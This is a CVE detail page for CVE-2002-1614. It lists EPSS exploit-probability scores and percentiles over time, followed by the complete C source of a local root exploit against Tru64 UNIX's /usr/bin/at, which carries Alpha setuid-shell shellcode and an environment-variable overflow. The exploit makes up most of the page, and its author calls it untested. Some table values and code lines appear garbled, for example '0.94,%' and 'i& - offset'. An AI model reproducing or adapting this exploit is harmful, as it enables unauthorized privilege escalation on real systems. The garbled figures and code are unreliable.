CVE-2002-1614 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	2.14%	–	–
2022-03-06	–	–	2.14%	–	–
2022-04-03	–	–	2.14%	–	–
2022-06-12	–	–	2.14%	–	–
2022-06-19	–	–	3.19%	–	–
2022-10-16	–	–	3.19%	–	–
2023-01-01	–	–	3.19%	–	–
2023-01-08	–	–	3.19%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-10-06	–	–	–	0.04%	–
2024-12-22	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.67%
2025-03-30	–	–	–	–	0.94%
2025-04-11	–	–	–	–	1.04%
2025-04-12	–	–	–	–	0.9%
2025-04-15	–	–	–	–	0.85%
2025-04-16	–	–	–	–	0.94%
2025-04-16	–	–	–	–	0.94,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	57%
2022-03-06	58%
2022-04-03	78%
2022-06-12	79%
2022-06-19	83%
2022-10-16	84%
2023-01-01	83%
2023-01-08	84%
2023-03-12	–
2024-06-02	–
2024-06-02	–
2024-10-06	5%
2024-12-22	–
2025-01-19	–
2025-03-18	7%
2025-03-30	74%
2025-04-11	76%
2025-04-12	74%
2025-04-15	74%
2025-04-16	75%
2025-04-16	75%

/* * Tru64 UNIX 4.0g (JAVA) (/usr/bin/at) local root exploit. [ALPHA] * * Author: Cody Tubbs (loophole of hhp). * Site: www.hhp-programming.net * Email: pigspigs@yahoo.com * Date: 2/1/2000. * * I made this without access to gdb, It's untested... * may require modification, may require deletion, heh. * * Note: executable_stack must be on. */ #include <stdio.h> #include <string.h> #define OFFSET 0 #define ALLIGN 0 #define NOP "\x1f\x04\xff\x47" #define DBUF 8000 // 5604+4+528? Manipulate if needed. char shellcode[]= // Alpha setuid(0);+ execl("/bin/sh","sh",0); "\x30\x15\xd9\x43\x11\x74\xf0\x47\x12\x14\x02\x42\xfc\xff\x32" "\xb2\x12\x94\x09\x42\xfc\xff\x32\xb2\xff\x47\x3f\x26\x1f\x04" "\x31\x22\xfc\xff\x30\xb2\xf7\xff\x1f\xd2\x10\x04\xff\x47\x11" "\x14\xe3\x43\x20\x35\x20\x42\xff\xff\xff\xff" "\x30\x15\xd9\x43\x31\x15\xd8\x43\x12\x04\xff\x47\x40\xff\x1e" "\xb6\x48\xff\xfe\xb7\x98\xff\x7f\x26\xd0\x8c\x73\x22\x13\x05" "\xf3\x47\x3c\xff\x7e\xb2\x69\x6e\x7f\x26\x2f\x62\x73\x22\x38" "\xff\x7e\xb2\x13\x94\xe7\x43\x20\x35\x60\x42\xff\xff\xff\xff"; //Taeho Oh shellcode. //long get_sp(void){ __asm__("bis $31,$30,$0");} void usage(char *arg) { fprintf(stderr, "\nTru64 UNIX 4.0g (JAVA) (/usr/bin/at)"); fprintf(stderr, " local root exploit. [ALPHA] \n"; fprintf(stderr, "Author: Cody Tubbs (loophole of hhp)\n\n"); fprintf(stderr, "Usage: %s <offset> [allign(0..3)]\n", arg); fprintf(stderr, "Examp: %s 0\n", arg); fprintf(stderr, "Examp: %s 0 1\n", arg); exit(1); } main(int argc, char **argv){ char eipeip[DBUF], buffer[4096], heh[DBUF+1]; char *nop; int i, offset, allign; long address; if(argc < 2){ usage(argv[0]); } if(argc>1){offset=atoi(argv[1]);}else{offset=OFFSET;} if(argc>2){allign=atoi(argv[2]);}else{allign=ALLIGN;} //address = get_sp() - offset; address = i& - offset; if(allign>0){for(i=0;i<DBUF;i++){eipeip[i]=0x69;}} for(i=allign;i<DBUF;i+=4){*(long *)&eipeip[i]=address;} nop=NOP; for(i=0;i<(4096-strlen(shellcode)-strlen(eipeip));i++){ //buffer[i]=nop[i%4]; buffer[i] = 0x1f; buffer[++i] = 0x04; buffer[++i] = 0xff; buffer[++i] = 0x47; } memcpy(buffer+i,shellcode,strlen(shellcode)); memcpy(buffer,"ATEX=",5); putenv(buffer); fprintf(stderr,"Return address %#x, offset: %d.\n",address,offset); execlp("/usr/bin/at","at", eipeip, 0); } // milw0rm.com [2001-03-02]